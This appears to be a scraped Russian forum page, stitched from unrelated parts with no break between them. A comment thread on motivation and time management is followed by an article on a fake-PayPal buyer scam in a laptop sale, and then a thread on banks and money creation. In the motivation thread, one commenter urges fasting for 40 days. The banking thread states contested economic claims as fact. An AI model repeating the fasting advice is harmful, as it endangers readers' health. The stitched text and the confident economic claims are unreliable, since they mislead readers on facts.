Если кто-либо ощущает совершенно другое и заявляет, что «нафиг это ваше GTD, толку от него никакого», — никакое это не GTD и не апгрейд, а чушь собачья, гоните его в сад. Это значит, что такой человек с отрудом отличает настоящую и мнимую эффективность, качество и количество, успех и «Успех™». Гоните его в сад, пусть прогуляется и отдохнет, а тогда уже на свежую голову учится управлять своим временем.

В чем может быть причина распространенности подобных заблуждений? Прежде всего в том, что наша отечественная корпоративная культура и в этих вещах, как обычно, пасет задних, пытается выдать за инновации и модернизацию обыкновенный тейлоризм и прочие давно устаревшие и выброшенные на свалку истории подходы. У нас так до сих пор многие и не поняли, чем отличается истинный современный капитализм в процессе трансформации (который кое-кто и называет уже по-другому) от пещерных представлений о нем образца 1913 года. И такие же пещерные представления возникают об эффективности (трудоголизм), карьере (карикатурный карьеризм середины 20 века), саморазвитии (сомнительные бизнес-тренинги). Все это поправимо, все это в целом пройдено «там» чуть ли не в 1968 году. Реальные же актуальные цели подобных технологий совсем в другом, их задача — помочь нам высвободить разного рода ресурсы (время, деньги, здоровье, внимание и т. д.) и учиться эффективно их использовать для создания смыслов, достижения существующих целей и постановки новых. О чем, в принципе, и хотел сказать автор, только другими словами.
lfway
Трудоголизм — тюрьма. Результатоголизм — свобода.
tyzhnenko
Нравиться ваш ход мысли и манера изложения, завязывайте с длинными комментами, напишите лучше пост.
tyzhnenko
Мысли конечно верные, но что если действительно хочется БМВ(любимая марка), дом и красивую жену? И ты пытаешься пытаешься, но порой ловишь себя на мысли «почему они это имеют, а я нет? чем я хуже? ничем!»
tyzhnenko
Ок, только к чему вы это мне написали?

Суть моей мысли в том, что порой даже когда упорно что-то делаешь, ставишь себе амбициозные цели, то не всегда получается их добиться, ибо бывает много других обстоятельств, которые этому мешают. А амбиций и целей и так хватает, да таких, что выше некуда:) К тому же самый ценный ресурс — это время, а мне постоянно хочется всего побыстрее, а так бывает только в сказке!

Прокомментирую ваш коммент. Цели у всех разные, но это не значит, что одни более амбициозны чем другие. Хотите три жены — пожалуйста:) Я искренне порадуюсь за вас, если у вас это получится:) Счастье каждый трактует по-своему.
sancheys
Больше попыток — больше попаданий (если дуло не кривое:)
tyzhnenko
Какие-то у вас абстрактные комменты:)

Я бы еще добавил: при условии, что мотивация не пропадет, тогда больше попаданий. Пикаперы точно поймут:)
tangro
когда небеса хотят наказать человека, они исполняют все его желания :)
Valery35
угу, или забирают все что есть и ты уже сидишь под мостом в коробке от холодильника:)
happyproff
ну внешние несчастья — хорошая карма, с ними можно работать.
когда у тебя и БМВ и красивая жена, а практически хочется повеситься это уже сложнее…
VovixLDR
Я уверен, что повеситься проще когда у тебя нет ничего — даже чтобы существовать и как я уже говорил, то счастье каждый определяет по своему. Кому-то БМВ и красивая умная хорошая жена(близкая к твоему идеалу), а кому-то Приора и просто хорошая жена(которая выбрала сама тебя)
sancheys
если играть в игру неудачник-победитель, то конечно лучше иметь БМВ и красавицу-умницу жену, а иначе придеться себя убить…
без БМВ и красавици жены, ты же ведь лузер…
( открою секрет — есть много других игр. а еще можно совсем на игры забить и просто жить с удовольствием )
AleksDesker
Это отговорки(тоже секрет открываю). Если ты что-то делаешь в этом направлении и учишься на ошибках, то добьешься своего рано или поздно! Ты подойдешь к девушке, которая тебя зацепила или будешь ждать пока подойдут к тебе? Также и с другими целями. А удовольствие нужно получать от своих действий:) Не получилось 10 раз и считать себя лузером? Это полнейшая чушь:)
Pyjamec
Рекомендую блокнот и карандаш рядом с кроватью всем тем у кого перед сном появляются куча мыслей и они не дают уснуть. Любые не систематизированные записи, приводят в порядок все эти мысли, и легко читаются на следующий день.
sancheys
помнится мне, в бытность мою студенческую, был у меня парень знакомый. Кайфом звали. Парень лет 40. Босиком лобал свои песни на арбате. Жил в кайф, девушка была 17тилетняя, очень эффектно презирал всю эту «успешность»… в общем, герой-хиппи на фоне офисного планктона.
Но сильно резанула наша встреча через пару-тройку лет… вонючий, с циррозом, трясущимися руками. Весь набор.
В общем, комментарии излишни.
Желаю всем «презирающим успешность» все-таки стремиться к «прогулкам по парку» и «детскому смеху», а не «сегодня побухаю с пацанами, а завтра поглядим»
Pyjamec
Некоторая часть текста на слух воспринимается как «репчинка» :)
sancheys
Актуально же :)
«Откуда у людей рождаются вопросы типо чем бы вы занялись будь у вас время и деньги? у вас уже все есть, ау люди)) Ровно одна жизнь времени — ни больше, ни меньше. Зачем тратить уже существующее время, на то, чтобы потом было время? как это вообще? просто найдите дело себе по душе и делайте и это сделает вашу жизнь) Гармония называется. Такое чувство счастья внутри себя, которому не нужны внешние стимуляторы, но которое гаснет, когда вы торопитесь или суетитесь. Потому что человек может или жить или торопиться)))
Мнѣ нравится3
вчера въ 14:48|Высказать замѣчаніе»
Pyjamec
«Старайтесь питаться настоящими продуктами — кашами, овощами, фруктами, яйцами, творогом, сыром, мясом.»

Старайтесь мясом не питаться, на его переработку уходит много энергии. Питайтесь живыми фруктами, овощами и молочными продуктами. Попробуйте не есть три дня и пить только воду, сконцентрировашись на одном проекте. Попробуйте 40 дней не есть. Никому не верьте, пробуйте все сами :-)

plishas2
> Старайтесь мясом не питаться, на его переработку уходит много энергии.

Не уж то больше, чем энергия от переработки мяса?
Pyjamec
Не больше, но погуглите, я думаю вы удивитесь.
plishas2
У меня из серьёзных работ «с уифрами» только такое нагуглилось: goo.gl/lWzQ4
Pyjamec
*цифрами, конечно же
plishas2
Я не вегетарианец, если вы на это намекаете. Наоборот, убежден, что низкая энергетическая ценность мяса и его сложность для пищеварения не повод полностью от него отказываться, у него есть свои преимущества.
Pyjamec
Приношу свои извинения. Просто действительно погуглил про «сложность мяса для пищеварения», и все ссылки попались или от вегетарианцев, или от приверженцев раздельного питания. Т.к. представителей этих категорий считаю людьми двигающими лженауку, ограничеными фанатиками или шарлатанами — выразился возможно чересчур резко.
Просто как-то ненагуглилось сходу, или нагуглилось не то. Извините.
nshopik
А вы хотели чтобы мясная индустрия с миллиардными оборотами писала о вреде производимых продуктов? Зачем вы считаете? Кому вы верите? Вы пробуйте, а потом делайте выводы.
MDie
Наверное, несчастных первобытных людей та же мясная индустрия с миллиардными оборотами заставляла есть мясо. Бедолаги.
reanimatorzon
А с чего вы взяли, что первобытные люди питались мясом? Человеку, чтобы добыть мясо нужны инструменты и коллективная работа — это не так уж просто. Огонь ещё нужен, чтобы паразиты не сгубили.

Так что это… В мясе хороши пища запасается на зиму — похолодало, вот и стали его употреблять. Но это не означает, что сиё есть самая здоровая из возможных пища. У нас обезьяний ЖКХ, а обезьянам редко удаётся мясо заполучить.
LeKot
Тьфу. ЖКТ, а не ЖКХ. И обезьяны, в основном, птицу или рыбу употребляют.
sancheys
Про ЖКХ — в самую точку.
caferman
У первобытных людей был первобытный уровень сознания.
AleksDesker
У коварных мясоедов первобытный уровень сознания?
kvabr
Нет, это всё сельскохозяйственная индустрия с миллиардными оборотами заставляет нас есть всякую траву, вместо живительного мяса!
kvabr
Мне точка зрения автора — не нравится. Просто, само поучение. Делай, делай, делай… не можешь, а делай. Не равняйся на других, куши так, какай — вот так.
В этот раздел пишут люди, выплеснуть несбывшиеся амбиции. Вообще отвратительно читать, чьи-то поучения в приказном тоне, тем более кодга ничего за спиной…
AleksDesker
В былые времена по юношеской глупости глядел в сторону всяких «НЛП для самосовершенствования», «тайм-менеджмента», «саморазвития» и т.д. Половину года не понимал, почему на меня это дело не действовало.

В итоге понял одну прописную истину: «саморазвиватие» и «самодисциплина» невозможны как цель (мог бы аргументировать, но что-то не могу припомнить аргументов). Это скорее побочный продукт какой-либо другой деятельности, не связанной с ориентацией на «само-». Как говорится, «чтение книжки о саморазвитии по 1 часу в день сокращает вашу жизнь на 1 час в день».

Нужно заниматься любимыми делами в рамках собственных принципов. Ныне покойный Стив Джобс на своей лекции в Стенфорд Юнивёрсити (2005 год, если не ошибаюсь) высказал приблизительно такую мысль.
kvabr
А тех кто не хотел заниматься любимыми делами в рамках собственных принципов он бил в щи с вертушки. Статья в том же стиле. «Никогда не никого не слушай! Занимайся тем, чем занимаешься! Но есть одна малость, чтобы этого достичь тебе нужно обязательно делать так, как написано во второй главе статьи.» Кстати, абзац про редиску и очковый туалет со слепнями — отличный демотиватор.
sancheys
Я бы все вышесказанное сформулировал одной короткой мыслью

Друзья, живите, а не существуйте для того, чтобы когда-нибудь начать жить.

caferman
Прочитал статью, прочитал комменты…

Увидел, как люди ищут себя в этом огромном мире и не могут найти. Много было озвучено хороший идей, личных мыслей и чувствуется, что этот опыт в словах — выстраданное, ваше, не повторяемое из книжки и в то же время созвучное и мне.

Такие разные все, разные пути, но понимание-то постепенно стремится к общему знаменателю. Ведь когда читаешь кого-то, отчетливо ощущаешь, что это с тобой уже было, и было именно это — хоть и выражено другими словами, и совершенно другой человек и другая ситуация, но вот опыт, сделанные выводы — до боли на что-то свое, родное, похоже. Разве не так, люди?

А по статье… что сказать по топику :) Очередная попытка найти себя, осознать себя, свои желания, чаяния, стремления. И судя по тому, как много статей на эту тематику здесь, как много комментариев они собирают, понимаешь, что попытки самоосознания происходят все чаще и чаще.

Лично для себя из этой статьи я понял, что тема мотивации, которую я активно изучал в последнее время в основном с психологической и академической точек зрения, гораздо глубже, чем пишут во всяких статьях «в интернете» и книжках для психологов и всякого рода нлперов. Тема мотивации затрагивает очень глубинные убеждения человека, его систему ценностей, привычки, характер, темперамент. И вся эта махина в один миг не может быть изменена, следовательно, нельзя себя замотивировать себя делать какую-то работу по щелчку пальцев. В то же время, когда критическая масса информации будет накоплена, изменения произойдут скачкообразно. И самое что интересное — поскольку тема мотивации затрагивает столько аспектов человека, она (мотивация) не может быть сразу же осознана. Т.е. чтобы решить проблему с мотивацией (обычно, конечно, решают проблему с отсутствием мотивации), нужно нехило так познать себя — узнать, что же ты ставишь на первое место — семью или работу. Какой темп работы тебе подходит, а какой — выматывает или наоборот усыпляет? И так далее и тому подобное. Когда это знание будет достигнуто, хотя бы до определенного момента, человек поймет, чего реально хочет и что именно дает ему энергию на его «пути сердца». И пойдет туда. Потому что там больше энергии для него. Больше возможностей, больше радости, удовлетворения и счастья… Не думаю, что в этот момент кто-то будет думать об успехе. Скорее, это будет похоже на «вот она, вот она, рыба моя, вот она!!! Й-Й-А-А-ЗЬ ЗДОРОВЕННЫЙ, здоровенный язь!» :)

Так что, желаю всем удачи и поймать-таки своего язя :) Как мы видим, задача это сложная, комплексная и интересная. Где наша не пропадала? :)
mikhanoid
> во всяких статьях «в интернете» и книжках для психологов

Вообще-то в любой маломальски серьезной книге по психологии, тему раскрывают намного глубже этой статьи. Просто в потоке дерьма их сегодня достаточно трудно найти. Поскажу авторов, с которых можно легко начать — Эрих Фромм и Карен Хорни.
mikhanoid
Спасибо, почитаю. А что именно из Фромма про мотивацию посоветуете? «Бегство от свободы»? еще что-нибудь? Посоветуйте конкретные книги, пожалуйста.
caferman
У Эриха — «Иметь или быть» и «Искусство любить». У Карен — «Невроз и личностный рост». Причем крайне советую почитать сначала Фромма, а потом Карен. Во-первых Карен является его последовательницей, во вторых — она копает тему и причины глубже, Фромм же объясняет ситуацию в общем и очерчивает масштаб «трагедии».

И естественно, подобные книги читаются с сопутствующей огромной работой над собой и осмыслением прочитанного. Тут я думаю многие и сыпятся — хочется силы не тратить, себя не изучать, прошлое не копать, в будущее не смотреть, но жить счастливо и целеустремленно. Но так не получится. Я например уверен, что эффект от прочтения этой статьи у многих здесь краткосрочный и эфимерный, т.к. удалось сделать пару самооправданий и сбросить себя немного ответственности, от чего стало легче — вон даже кому-то там выше в комментариях стало резко хорошо прямо в метро. Так конечно бывает, но на длинной дистанции все может вернуться. Поэтому и здесь надо трудиться, золотой пули нигде не вычитаешь, а вот пути ее нахождения для себя можно найти!
sancheys
В погоне за чем-то можно пропустить жизнь.
Не так давно у меня целью было полное обустройство жизнью всякой фигней. Нужно было много денег.
Работал в среднем 12-16 часов в день. Работа в выходные? Да без проблем.
Брал любые заказы и много.
Как итог: заработок вырос в 3-4 раза в среднем.
Как итог2: испортились отношения с женой, друзьями.

Понял, что так дальше не может идти. Закончится все печально.
Переехали на новую квартиру. У меня нет там компа, нет телевизора. И почему-то больше не хочется.
caferman
*место где каждый может пожаловаться на жизнь*

думаю не стоит воспринимать все категорично! Имхо основная идея статьи:
умеешь работать — умей и отдыхать!
cepera_ang
Хорошие слова, жаль только многие не поймут, что главное в жизни собственно сама жизнь.
Бессмысленно гоняться за чужими внедренными кем то целями: машиной, миллионом или карьерой.
nrcpp
Хорошая статья, утром, пока ехал на работу, думал об этих словах. И знаете что? Вышел из метро и почувствовал себя счастливым. Просто хорошо и приятно на душе.

З.Ы. С пятницей всех.
caferman
Счастливым оттого, что-таки вышел? ;)
fishbone
Чувство счастья пришло еще на подъеме вверх до выхода на улицу. Даже такое впечатление сложилось, что людей было меньше чем обычно. А ведь смотришь вокруг и видишь грустные лица окружающих людей, возможно им как раз и не хватает того самого «счастья».
А еще много красивых девушек в метро, наличие которых также поднимает настроение. Радоваться жизни нужно уметь, без этого никак.
maxshopen
Это верно подмечено — уметь извлекать хорошее из окружающего мира, это всегда приносит чувство умиротворения в душе. Что касается лиц в метро — они не просто грустные, они просто никакие.
andyceo
Очень позитивный топик. Заставляет остановиться и задуматься.
dmomen
Великолепно.
Можно добавить фотоаппарат, баню, велосипед, шлепанцы вместо галстука…
По вкусу свободы в общем :) Ибо рабство делает людей похожими, а свобода у каждого своя.
Еще в тему из прошлых постов habrahabr.ru/blogs/startup/120414/

andyceo
Если нет достаточной мотивации, то ее нет. И не нужно пытаться искать ее в чьих-то книгах, словах, нравоучениях. Если книга не читается, то скорее всего она вам просто не интересна, так зачем заставлять себя?


Сколько раз я без мотивации начинал что-то делать и уже потом она появлялась и из-за этого всего выходил отличный результат.
Также достаточно часто бывало, что настроение ужасное, в смысле просто хочется ничего, лететь как метеорит в космосе, и даже никакого притяжения не ощущать, и начинаешь смотреть фильм — и вот оно! Мотивация, какая-то фраза, какое-то действие, которое меняет всё, ты находишь смысл, стимул… мотивацию и главное — желание. Всё строится на желании. Я помню, как год назад начинал заниматься со штангой той же, и делал это заставляя себя, прошёл год я достиг более-менее приличных результатов, но уже ненавидел всё это. И буквально месяца 3 назад начал заниматься не через силу, а желанием — стал заниматься больше дома, менять упражнения по настроению и результаты стали если не лучше, то во всяком случае в радость.

Ещё важно понимать, что если бы мы делали только то, что нам нравится — выходило бы мало «полезного», порой нужно заставить себя, сказать «раз нашёл силы встать с постели — найди и сделать %что-то%». Но в любом случае — попробуйте полюбить то, что делает и всё будет гораздо проще.
dmomen
В этом случае можно попробовать заменить слово «надо» на слово «хочу».
Mopnex03
Проблема многих в том, что конечная цель — именно лежать на диване и пить пиво, только на охренительном диване с тремя тёлками на вилле в Ницце и пить пиво из собственной чешской пивоварни. Эта цель лелеется в душе и человек никогда в ней не признается, иногда даже самому себе. Тем не менее — суть та же — нихрена не делать.
Но чтобы к этой цели прийти типичный GTDшник думает что сначала надо стать «успешным». Поэтому он себе придумывает более благородные цели — вроде открыть свое дело, сделать карьеру, заработать миллион. Но мечтает-то он всё равно о диване с тёлками, поэтому промежуточные цели достигаются редко и долго.
serjoga
Жить своей жизнью, а не пытаться прожить чью-либо — вечная истина.
Hemdall
Хых. Так проблема-то вот в чём: где взять жену и квартиру, не добиваясь успеха? Ну, не у всех есть шанс получить хорошее наследство и хорошую жену за красивые глаза. Поэтому, приходится вкалывать и чего-то добиваться. Популярность всяких треннингов она лишь отражает плачевное материальное состояние общества — неудовлетворённость своим положением. Людей без наследства и красивых глаз очень много. Просто офигенски много. Так что, приходится напрягаться.

Главное, просто получать от движения вперёд удовольствие, а не считать это насилием над собой. IMHO.
cybd
>>Главное, просто получать от движения вперёд удовольствие, а не считать это насилием над собой. IMHO.

Это и есть камень преткновения. Не многие способны получать удовольствие от постоянных аутотренингов, расписывания своей жизни по минутам и прочего GTD.
DizelGenerator
А зачем аутотренинги? Как бы, я не агитирую за GTD — фигня это всё и пустая трата времени, нужно просто делать своё дело. Я просто говорю, что большинство вынуждены напрягаться в этой жизни, чтобы достичь приемлемого уровня комфорта… Ну и GTD расчитано именно на них, когда они начинают жаловаться, что начальные условия у других лучше, что какие они бедные разнесчастные.

А нужно-то просто поверить в то, что можно добиться нужного результата и работать над этим. Но всё равно надо работать — от этого никуда не денешься.
cybd
Согласен. А еще можно подумать о том, что полно людей в гораздо худшем положении, и среди них есть такие, которые пришли к успеху.
DizelGenerator
Все это хорошо, жить в кайф, не беспокоится о продвижении по карьере или развитии своего дела, а значит и заработке, НО!, в наших реалиях (на пост-советском пространстве) не имея денег или связей тебя или твоих родных могут избить, сбить, убить и откупиться, «замять» дело или получить условку.

Ты не получишь качественную медицинскую помощь, без тех же денег и связей, в конце концов даже похоронить родных без денег или связей на нормальном месте, а не на болоте ты не сможешь.

А когда дети так это вабще труба, все знают как у нас в школах, детсадах с «добровольными» пожертвованиями, а еще учебники, одежда, игрушки. Ведь каждый родитель хочет что бы его ребенок ни в чем не нуждался, особенно если сам вырос в нищите.

И таких примеров уйма, у нас все решают деньги и власть, а одно следует из другого, все пропитано коррупцией от верхов до самого низа, достаточно поездить в дефолт-сити на машине, и посмотреть как ведут себя некоторые водятлы «илитных» авто. Менталитет к сожалению не изменить, если человек знает что сможет откупиться, он откупится и будет дальше продолжать думать что он не уязвим, пока не попадет на более «упакованного» человека.

Я не говорю что нужно рвать задний проход себе и другим в погоне за миллиардами, но для того что бы зарабатывать достаточно для полноценной жизни семьи и детей, при этом не имея никакой материальной поддержки со стороны или «доставшейся в наследство от бабушки хаты» — приходится порой забывать о своих интересах, жизненных приоритетах и просто вjobывать.

Как обстоят дела не западе, не знаю — не был, но подозреваю что лучше. Было бы интересно почитать мнение человека который столкнулся со всем этим «здесь» и «там», особенно в свете последних политических событий.
thebestzorro
>>приходится порой забывать о своих интересах, жизненных приоритетах и просто вjobывать.
Слова не мальчика, но мужа! Действительно, с появлением ответственности перед своей семьей, расклад сильно меняется.

>>Как обстоят дела не западе, не знаю — не был, но подозреваю что лучше
Подозреваю что примерно так же. В чем-то лучше, в чем-то даже хуже (В Америке медицина доступна только состоятельным людям, например)
Valery35
Применительно к профессии как неотъемлимой части жизни и самореализации я бы хотел привести в пример фильм «Lord of War».

Мне кажется в нём наиболее четким образом, пусть даже и несколько линейно, показано как влияет на человека именно его «дело».

Касательно мотивации я бы назвал хорошей цитату из фильма «Мирный воин» (если хотите — есть книга):
— …
— Ты такой умный, тогда почему ты работаешь на заправке?
— Это станция обслуживания. Мы предлагаем услуги. Нет высшей цели.
— Чем заправлять?
— Чем служить другим.
— …

Казалось бы в чём тут смысл? А смысл в том, что если взглянуть на весь мир в целом — то всё что придумало человечество это ни что иное как набор услуг для улучшения (спорное выражение :) ) жизни: отопления, квартиры, садики, товары в магазинах и.т.д. до бесконечности — это всё услуги. Тот же самый iPhone & Android — это услуги коммуникации которые могут выполняться и другими устройствами. Для человека наверно является более важным вопрос: какая сфера лично для меня является той, которой я мог бы заниматься всю жизнь и быть счастливым?

ShpuntiK
Отличная статья! Пятничная. Порадовала.
cybd
Есть забавная мысль, подойдет скорее тем кто ценит себя и свою жизнь, ну и тем для кого дети и внуки что-то да значат, а не пустые слова.

Представьте что вы умерли и прожили свою жизнь такую как вы живете сейчас, и напишете некролог что ли, или не большое эссе. что о вас будет рассказывать ваши дети своим детям и внукам?.. или вас просто забудут через несколько лет и будут вспоминать только в дни ваших рождении и то только потому что забыли убрать напоминание в календаре :(

ncix
Статья хорошая, удивляет только, что критикуя других дающих советы, автор взамен предлагает свои )

Начало


Началось всё с того, что мне с ebay пришёл Apple MacBook PRO 15”. Покупал его для себя, но вышло так, что не легла душа к нему. После 13” он показался слишком тяжелым и неудобным. Было принято решение продать его и взять на замену что то небольшое.



Продажа ноутбука


Я написал несколько объявлений о продаже. В том числе на Molotok.ru. Через несколько часов после выставления лота на молоток, я получил сообщение по почте о том, что лот был выигран. Покупатель был зарегистрирован в день покупки и никак не обозначил себя в комментариях к покупке.
Дабы убедиться, что человек действительно хочет купить у меня ноутбук, я написал ему поздравительное письмо.


Спустя сутки я получил от покупателя ответ.


Вкратце: ноутбук был куплен для сына на день его рождения, который проживает в Нигерии и занимается иностранными языками. Покупатель просит отправить посылку через EMS и сообщить ему полную сумму с доставкой. Так же, ему нужны мои банковские реквизиты.
Судя по стране, стало похоже, что работают мошенники. Я ответил покупателю, что за границу отправляю только после «Clear Payment» через PayPal.


Покупатель не спешит с ответами. Письма от него приходят в среднем через 12-15 часов после моих. Новое письмо от покупателя:


Покупатель согласен на такой вариант. Он просит сообщить полную стоимость в $ или Euro вместе с доставкой. Чтож, сообщим:


Схема мошенничества


И вот тут начинается самое интересное. Где то через 12 часов приходит письмо от Service@paypal.com следующего содержания:


Похоже на то, что деньги перечислили на ваш счёт, но требуется подтверждение отправки. После этого перевод будет подтверждён. Но адрес отправителя странный, да и стиль оформления не соответствует стилю PayPal. Нужно ли говорить, что в личном кабинете на PayPal не было никакого перевода? Так же, мошенник прислал еще одно письмо:


Тут, в принципе, написано то же самое. Отправьте, дайте нам Tracking code и мы перечислим вам деньги.
На этом наше общение прекратилось, схема проста и понятна. Дальше не интересно.

Выводы


  • Внимательно изучите покупателя. Особенно если он из Нигерии. И особенно если лот дорогой.
  • Утром деньги-вечером стулья. Не отправляйте ничего, пока не убедитесь, что деньги у вас на счёте и вы можете ими распоряжаться.
  • Внимательно смотрите на письма от платёжной системы.
  • Трижды подумайте, стоит ли отправлять лот за границу. Может быть найдётся покупатель в вашей стране?


Мораль


Данная схема развода проста и понятна. На неё очень трудно повестись. Но если вы неопытный продавец или в данный момент у вас огромное количество лотов, вы можете просто не заметить мошенника.
Будьте аккуратны и удачных продаж!
ArtemSmirnov
Когда речь заходит о какой либо стране 3-го мира можно дальше не читать, итак все понятно.
pnick
Не скажите. В Кению через ebay продавал. Там без вопросов было.
ArtemSmirnov
Ну, я действительно погорячился, но в большинстве случаев…
Evengard
Россия — сама страна третьего мира.
Rezzet
И не только в космос! Россия — единственная страна с подводной группировкой спутников глобального позиционирования!
pnick
О ГЛОНАСС.
bar_boss
Вы новости не читаете чтоль о спутниках ГЛОНАС, которые успешно затанули так и не добравшись до орбиты?
bar_boss
Всё теперь понял ))
shsmad
Добро пожаловать в Интернет!
foxyrus
Да я вспомнил что они тонули, просто забыл на то время. Набросились на меня))
bar_boss
это не новости, это старости ;)
somniator
Для некоторых, видно, еще новости :)
bar_boss
мечта водолаза!
std
ни когде не видел столько плюсов комментарию! :)
pnick
Жаль тех кто минусует. Определенно удобнее считать свою страну, входящей в тридцать-третий-мир, т. к. новый айфон дороговат, да и интернет мог бы быть и побыстрее, а поиск пищи сводится к выбору между творожком Данон или Можетель в супермаркете.
harmboy
А причём тут айфоны? Дело в социальной политике… Которой у нас почти нет. В Москве ещё чтото есть, а в регионах так вообще почти ничего. Мизерные пенсии, коррумпированные чиновники, разваливающиеся НИИ (это к тому что Rezzet сказал) — неужели это всё признаки развитого государства?
SAKrisT
Пенсионные фонды обязаны быть частными т.е. контролироваться банками (которые должны контролироваться государством). Хранение пенсионных денег в банке — прямое вливание в экономику, процент вложившему и некоторые гарантии. А существующий пенсионный фонд официально расходует 70% финансирования на собственные нужды.
VORus
про существующий Вы абсолютно правы. дерьмовый.
как и всё наше государство (не путать со страной и людьми).
но… с чего Вы взяли, что деньги, положенные в банк — это вливание в экономику?
скорее наоборот.
Evengard
Основная задача банка — кредитование. Потому, деньги, вложенные в банк — это помощь экономике, ибо будут кому-то даны для использования.
SleepingLion
если Вы думаете, что деньги, которые банк дает в кредит берутся из вкладов, Вы ошибаетесь.
деньги берутся из Вашего обязательства вернуть деньги.
и, кстати, именно банки являются основной причиной кризиса перепроизводства.
babay88
если Вы думаете, что деньги, которые банк дает в кредит берутся из вкладов, Вы ошибаетесь.

— Пруф?
Grox
в интернете много информации.
www.ipotekar.ru/Server/dengi_na_ipoteku.htm
а так же понятие «ставка рефинансирования»
то есть Вы берете кредит, оставляете обязательство его вернуть. такие обязательства объединяются в пакеты и продаются.
это один вариант рефинансирования.
второй — «ставка рефинансирования». государство устанавливает ставку и дает банку возможность выдать деньги, при условии что банк, вернув эти деньги, еще и уплатит процент государству. государство берет эти деньги из воздуха. кредитная организация выдает кредиты из денег, взятых государством из воздуха.
количество выданных кредитов ограничивается размером ставки рефинансирования — чем она меньше, тем по более низкой ставке можно взять кредит и тем больше их будет взято.
перед кризисом в америке государство пыталось «раздать» побольше денег — боролись с кризисом «перепроизводства» — т.е. недостатка денег. это были и «возвраты» налогов, и низкая ставка рефинансирования, которая привела к тому, что было выдано много ипотечных кредитов. не очень надежным людям.
эти кредиты были объеденены в пулы, уплы были проданы. в частности, за границу США. а потом это всё схлопнулось. те, кто купил пулы — очень прогорели.
babay88
ОК, это один из вариантов. Можно сказать — самый нездоровый. А теперь вернемся к вкладам. Если у банка на балансе 100500 млрд. рублей денег, которые там хранят его клиенты — не может ли он давать в кредит именно эти деньги, вместо того, чтобы продавать кредитные обязательства на сторону, теряя при этом свои доходы и подвергая риску экономику страны?
Что вообще, по-вашему, происходит с вкладами, и почему они не являются вливанием в экономику?
guessss_who
Куда то не туда разговор зашел.
babay88
еще статью находил.
и в ней было ясным по белому сказано, что вклады дают небольшую часть кредитной массы.
суммы по вкладам просто не хватает на то, чтобы выдать такое количество кредитов, какое люди готовы взять.
банк не теряет доходы. банк получает дополнительные доходы.
а подвергание экономики риску банку абсолютно похуй. потому что выкрутятся. потому что в случае кризиса государство спасает в первую очередь кого ?? БАНКИ. и выделяет им бабло. вагонами.

влияние на экономику — это когда ты пошел и потратил деньги. вот это — для экономики.
а когда ты пошел и вложил деньги в банк — это вывод денег из экономики.
да, они вернутся обратно в виде кредитов.
но…
кредиты ведь тоже пагубно влияют на экономику.
потому что если в этом году заняли, допустим, 1 млн баксов, а в следующем, мало того, что этот 1 млн баксов вернется банку (ладно, их он снова даст вкредит), так еще и сверх этого процентов 15-20-30 уходят из живой экономики в банк.

ну а в нашей стране активное присутствие банков на ипотечном рынке ведет просто к удорожанию недвижимости. и никакого оздоровления экономики. только сверхприбыли.
guessss_who
Несмотря на большое количество дельных тезисов в ваших комментариях, по существу вопроса я с вами не совсем согласен. Вывод денег из экономики — это когда большая сумма денег лежит в виде пачек бумаги или слитков драгметаллов у вас под подушкой. Когда вы отдаете их банку — банк отдает их людям (оспорите?), которым они прям щас нужнее, чем вам (какие еще деньги он дает в кредит — дело десятое).
Что с этого имеет банк, посчитать несложно — % на кредит минус % выплачиваемый по вкладам, и учитываем поправку на инфляцию.
Для экономики, безусловно, гораздо лучше, если вы сразу используете деньги на приобретение нужных вам товаров или услуг, но если стоимость покупки превышает размеры ваших доходов, альтернатив, вроде-бы, всего две. Деньги под подушку или деньги в банк. Разница этих альтернатив в плане полезности для экономики, по-моему, очевидна. :)

P.S. Спасибо за наводку на интересные нюансы. Похоже, мне пора немного освежить свои знания в этой предметной области.
pnick
с Вами согласен за одним но.
когда деньги просто лежат где-то на счету и никому не выданы — то все равно, что под подушкой.
и еще, когда деньги выходят на рынок ценных бумаг и крутятся там — они так же выходят из реальной экономики.
babay88
Неа. Там всё совсем не так работает. Банк не выдаёт кредиты живыми деньгами, он их выдаёт именно кредитными обязательствами. А объём этих обязательств, которые может на себя банк взять определяется объёмом вложенных в него денег только в малой степени.

Вообще, про это очень подробно сами банкиры и написали, документ называется Modern Money Mechanics. Google знает.
guessss_who
Я уже спрашивал выше. Если банк не выдает кредиты живыми деньгами — куда он девает живые деньги с банковских вкладов? :)
Может, корректнее было бы сказать «банк не всегда выдает кредиты живыми деньгами»?
babay88
Неа, именно никогда не выдаёт живыми деньгами. Механика примерно такая: у банка есть некое число, на которое он может выдать кредитов. В это число — K — записываются и те деньги (бумажки, золото, акции), которыми банк владеет. Но это не всё.

Когда человек приходит за кредитом, то он банку выдаёт долговую расписку: я обязуюсь вернуть N у.е, а банк за это ему выдаёт разрешение взять N бумажек в кассе. Но это не те бумажки, которые банк ранее принял от вкладчиков, потому что эти бумажки у него забрали и занесли на его счёт K, это просто бумажки, выданные под долговое обязательство. А самое в этом всём офигенское, что банку сумму N добавляют к числу K, потому что, как бы, ему же теперь должник принесёт обратно N бумажек, и он теперь может распоряжаться K+N у.е. То есть, как бы, в живые деньги (заработанные как-то и подтверждённые материальными ценностями) они превратятся только после возврата в банк, но банку разрешают их прокручивать уже намного раньше. И кредиты он выдаёт всегда из таких вот виртуальных денег.

Хрень, но в MMM = Modern Money Mechanics, примерно так и написано, там, конечно, есть всякие коэффиценты и поправки, но суть такая вот. От этого и кризис нынешний, долговых обязательств выпущено так офигенски много, что их просто невозможно вернуть, а так как, все доллары в обороте — это долговые деньги, то цена у них нулевая, потому что они ничем не обеспечены.
mikhanoid
Я уже спрашивал выше. Если банк не выдает кредиты живыми деньгами — куда он девает живые деньги с банковских вкладов?
guessss_who
Так переводит в виртуальные, и ведёт через это учёт. Когда отдаёт банкноты не по кредиту, вычитает их у себя (вынужден, потому что банкноты контроллируются), когда принимает банкноты, плюсует себе.

Но вообще, это, на совсем не живые деньги. Это те же самые долговые обязательства. То есть, как бы, когда Алиса даёт Бобу один доллар — это означает, что она передаёт долговое обязательство, данное банку, и переданное потом Алисе (ну, скажем, она лампочку продала за бумажку, взятую в кредит), которое она передаёт Бобу. Никакой материальной ценность, кроме как «добропорядочности» заёмщика за этой бумагой не стоит.
mikhanoid
И что, всё вышесказанное позволяет утверждать, что сколько банку денег не давай, он никогда не будет отдавать эти деньги в кредит? :)
guessss_who
Банк вообще в кредит деньги не отдаёт. Повторюсь: он получает от заёмщика долговую расписку и под эту долговую расписку выпускает банкноты. Тут кристально чистый profit.

